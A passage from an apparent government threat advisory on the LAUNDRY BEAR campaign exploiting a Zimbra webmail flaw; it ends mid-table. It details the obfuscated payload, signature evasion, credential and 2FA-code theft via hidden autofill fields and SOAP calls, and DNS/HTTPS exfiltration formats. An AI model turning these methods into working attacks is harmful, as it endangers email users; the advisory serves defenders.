<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
